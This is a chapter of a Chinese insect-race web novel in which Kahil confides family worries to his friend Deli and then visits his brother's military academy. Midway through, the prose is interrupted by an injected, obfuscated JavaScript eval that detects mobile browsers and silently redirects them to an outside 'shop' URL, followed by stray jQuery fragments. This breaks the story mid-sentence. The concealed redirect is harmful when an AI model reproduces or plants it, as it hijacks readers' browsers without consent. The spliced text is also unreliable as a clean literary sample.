卡希尔后面的课程没有再走神,放学时巴克西和往常那样与卡希尔告别,走时还哼着歌,看起来心情很不错。
雄虫们走的一个比一个快,很快教室里就只剩下闭目养神的德利和整理笔记的卡希尔。
在卡希尔拉上拉链后,德利睁开眼,眼神扫了一眼门口,才开口道:“都走了。”
说完,他直直地看向卡希尔。
德利是典型的丹凤眼,看人时眼尾轻抬,配合他剔透如酒红的眸子,本该拒人于千里之外,但此时他专注地神情却驱散了那份的冷漠,带着几分关切。
风风火火的巴克西可以发现卡希尔的不对劲,常年忍受精神力紊乱的德利对雄虫偶尔溢散的精神力更加敏锐,稍加留意就知道今天卡希尔有心事。
一般来说,德利来学校只是为了见卡希尔,经常半道离开,可今天他特意发消息回去,就为了留到最后。
卡希尔看到德利留到最后,心里也猜了个大概,那怕知道有星脑,但德利的做法依然让他心里暖洋洋的。
因此,他抿了抿唇,不仅将哥哥和自己不是一个雌父生的事情告知,而且还隐晦的提了一下哥哥精神力紊乱时看到的场景。
不是他更信任德利,而是比起巴克西,德利更加冷静,对这些大众眼里“危险”的事情更能接受。
果然,听到卡希尔进入雌虫紊乱的精神力世界时,德利虽然皱了皱眉,但依然认真地听完。
把心事说出来的卡希尔显然轻松不少,但还是闷闷不乐地说:“德利,我是不是太小题大做了?”
雄父隐瞒那只雌虫的存在一定有他的道理,而哥哥不管是不是雌父生的,都是他的哥哥,所以这件事本质来说没有任何追查的必要,也不知道从何调查。
“不会。”比起卡希尔这个当事人的犹豫,德利回答起来就果断了很多。
他摸了摸卡希尔的头:“只要你在意,就不是小事。”
卡希尔双手撑着脸颊,叹气道:“可是就算我在意,我也不知道该怎么办。”
德利垂眸思考片刻,弯腰在卡希尔耳边轻语几句。
“这样不好吧?”卡希尔迟疑道。
让德利的雄父帮忙调查雄父的婚姻记录,如果他没记错,那可是联盟第一位雄虫议员。
“没关系,这不是什么难事,我们只是确定你的猜想。”德利用手把卡希尔头顶翘起的呆毛往下压了压,看着它被压扁又立起来,眼神很难不被吸引,于是他一边盯着左摇右晃的呆毛,一边顺着发丝往下捋,像再给某种小动物梳毛,安抚的动作熟稔无比。
卡希尔感动地一把抱住德利的腰,还在他怀里蹭了蹭:“谢谢你,德利!”
德利没有说什么,只是把捋毛的动作变成轻轻拍拍卡希尔的后背。
“回去吧。”
“好~”
心事被解决的卡希尔整只虫都精神起来,带上自己的东西,并排和德利一起走出了学校。
学校外,哥哥卡柏莱已经等了很久。
看到德利,卡柏莱有些惊讶,但还是礼貌地行了个简单的礼,连原本懒散的站姿都笔直了不少:“德利阁下,日安。”
德利微微颔首,大部分的注意力依然放在卡希尔身上:“如果有结果了,我星脑联系你。”
“好!”卡希尔笑着朝他挥挥手,“那我先走啦,拜拜!”
德利目送他上了悬浮车,直到车离开自己的视线,旁边静候许久的管家虫才敢上前,恭敬地说:“少爷,该回去了。”
德利轻“嗯”了一声,沉默地上了悬浮车。
坐下的时候,他发现外套口袋里有什么东西硌着他。
伸手拿出来一看,是几颗五彩斑斓的糖果,一看就是某只小雄虫喜欢,经常带在身上的那款,还专门挑选了德利喜欢的薄荷味。
连雄虫情绪都能敏锐察觉的德利,却能在注意力放在卡希尔身上时,被卡希尔悄无声息地塞几颗糖果,这种事情说出去别说其他虫不信,连德利自己都觉得不可思议。
但仔细想想,似乎也并不奇怪。
——因为德利从未对卡希尔设防。
糖纸在窗外霓虹的照射下折射出绚丽的光晕,连带德利苍白的指尖似乎都多了一抹暖色。
大概世界上也只有卡希尔这样天真的雄虫,才会坚定的认为两颗在医虫并不建议也不反对的糖果,能让他在精神力紊乱时稍微好受一点。
德利拆开包装,将薄荷糖送入口中,因为没有即使回去治疗而隐隐开始抽痛的额角似乎真的因为这一点清凉缓和了不少。
他知道这只是一种心灵慰藉带来的错觉,可感情上,他依然为这一份稍显幼稚的关心不自觉弯了弯唇角。
悬浮车驶入湍急的车流,可这份好心情,却会一直陪着德利直到下一次见面。
…………
假期一晃而过,卡柏莱又回到了晨星,卡希尔正常上了几天课,终于在第五天忍不住想去晨星看哥哥。
为了不让雄父担心,卡希尔借口找德利玩,高高兴兴的他完全没有注意到雄父欲言又止的神情。
“雄父,我先走啦!”卡希尔拜托德利安排一辆悬浮车送他,此时车已经在门口等他了。
席利尔无奈地笑了下,目送卡希尔离开。
——算了,还是虫崽开心最重要。
悬浮车非常准时的将卡希尔送到晨星,因为是外来车辆不能随便进去,但艾利特已经等候多时。
今天的卡希尔穿了件粉白色的薄外套,里面是白色的T恤,一下车就被太阳晒得脸蛋红扑扑的,整只虫都散发着“青春洋溢”四个大字。
在进行简单的登记后,卡希尔走过门卫,艾利特递了一瓶水过来。
卡希尔接过,惊喜地发现竟然是冰水:“谢谢!”
他拿冰水贴了贴脸颊,冰冰凉凉的触感让他眼睛舒服得眯了起来。
艾利特等他缓过来才温和地开口问道:“阁下要上车吗?”
“唔……”卡希尔看了眼旁边的悬浮车,有些不好意思地说,“我能逛一下吗?”
上次直接坐悬浮车进去,他都没好好看看晨星长什么样呢。
“当然。”艾利特并没有强求卡希尔上车,虽然车上更舒适,但一切都应该以卡希尔的意愿为主。
作为陪同虫,艾利特在卡希尔提出申请后就知道他什么时候要来,特意空出了这段时间,也做足了准备。
他无比自然地撑开一把遮阳伞,让卡希尔意外的是,这把伞比想象中还要大上不少。
宽大的伞面足够站下三只高大的雌虫,以至于那怕艾利特作为撑伞的虫,在同一伞面下,也能保持和卡希尔礼貌的社交距离。
平心而论,艾利特当然希望离卡希尔越近越好。
可比起靠近,他更担心卡希尔会反感。
事实上,卡希尔虽然没有说什么,但确实为这份距离悄悄松了口气,毕竟严格来说,这只是他和艾利特见的第二面。
晨星作为主星上有名的军校,校园环境确实没得说,建筑风格简洁大气,就连路边的灌木丛都修得整整齐齐。
这个时间不管教官还是军校生都在上课,校园里格外安静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735409|209035||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,在风吹过树叶发出“沙沙”的环境声中,艾利特轻声介绍着晨星,仿佛卡希尔不是来探望卡柏莱,而是即将入学的新生。
卡希尔很快就弄清楚晨星的大致布局,而且他还发现为了兼顾他的速度,艾利特放慢了步伐,还在不动声色的随着阳光的角度悄悄调转伞柄,让他始终处于阴影下。
这份细腻与温柔让他不由感慨:“他们一定很喜欢你。”
艾利特用了半秒思考“他们”是谁,又用了半秒思考自己做过的“好事”,非常诚实地说:“他们可能更喜欢把我打倒在地上。”
卡希尔被逗笑了。
他笑起来眼睛弯弯,像初升的弯月,让艾利特眼神都柔和了许多。
门口到训练场这段距离说长不长,说短不短,在两虫开玩笑期间,已经能隐约看到训练场。
稍微一靠近,就能看到烈日炎炎下站的笔直的雌虫们。
能考进晨星的雌虫本就优秀,光是一米九几的身高就极具压迫力,更别说他们穿着整齐,一动不动像一堵堵墙,即使还没上过战场,但那种被训练后的锐利依然让虫移不开眼。
卡希尔不自觉就停下了脚步,目光一瞬不转地盯着他们。
他不可避免地想起上辈子。
那时候的卡希尔虽然考上大学,但对未来十分迷茫,找不到目标,也曾因为向往想参军,却因为身体不合格而无缘参军,这在他心里始终是一个遗憾。
而这辈子成为雄虫后,卡希尔也曾想凭借自己的努力成为第一只参军的雄虫,但雌虫和雄虫的身体差距堪比人和香蕉的差距。
在虫族历史中,雌虫的数量始终高于雄虫,承担族群守卫的责任,因此身体进化得越来越强悍,而雄虫也为了更好的发展集中进化在精神力上,在虫族发展的巅峰时期,雌虫强悍的身体和雄虫强大的精神力结合,加上恐怖的繁衍速度,几乎可以说横扫整个星际,堪称其他文明的噩梦。
但好景不长,随着虫族内部的分化和矛盾爆发,虫族开始衰弱,到如今虫族虽然还是很能打,但不管是雌虫还是雄虫都回不到巅峰时期。
而在这个过程中,身体孱弱,精神力强大却更敏感的雄虫受到的影响最大,以至于到了现在,即使有许多保护政策,雄虫和雌虫的数量比依然保持在1:7左右。
卡希尔在努力哼哧哼哧锻炼一年后,连哥哥训练器具都拿不起来,还差点把自己弄伤后终于放弃了。
不过卡希尔看得很开,如果身体没办法达到要求,那就训练精神力,让自己精神力强大,这样依然可以帮助很多虫。
虫族的军团不收雄虫参军,却非常欢迎各位阁下的慰问和治疗帮助——虽然一般情况下也没几个雄虫会来。
陷入回忆的卡希尔不知道的是,他自以为站的很远,加上有灌木丛遮放肯定没虫能看见,但站军姿站的无聊的雌虫们依然敏锐地注意到了他的存在。
碍于教官,他们不能开口说话,但趁着教官背过身时他们疯狂用眼神和口型进行交流。
‘有虫在那里,我怎么看着像雄虫?’
‘什么?!哪里?让我看看!’
‘神经!你站傻了吧,这怎么可能有雄虫?’
‘我保证肯定有虫,而且个子小小的,不会真的是雄虫吧?!’
雄虫这两个字对他们的吸引力实在是太大,终于有虫按捺不住蠢蠢欲动的心,趁着教官不注意,稍稍朝着那边伸长了脖子。
下一秒,他看到一张熟悉的脸。
艾利特往前走了一步,似笑非笑地看着他。
雌虫:……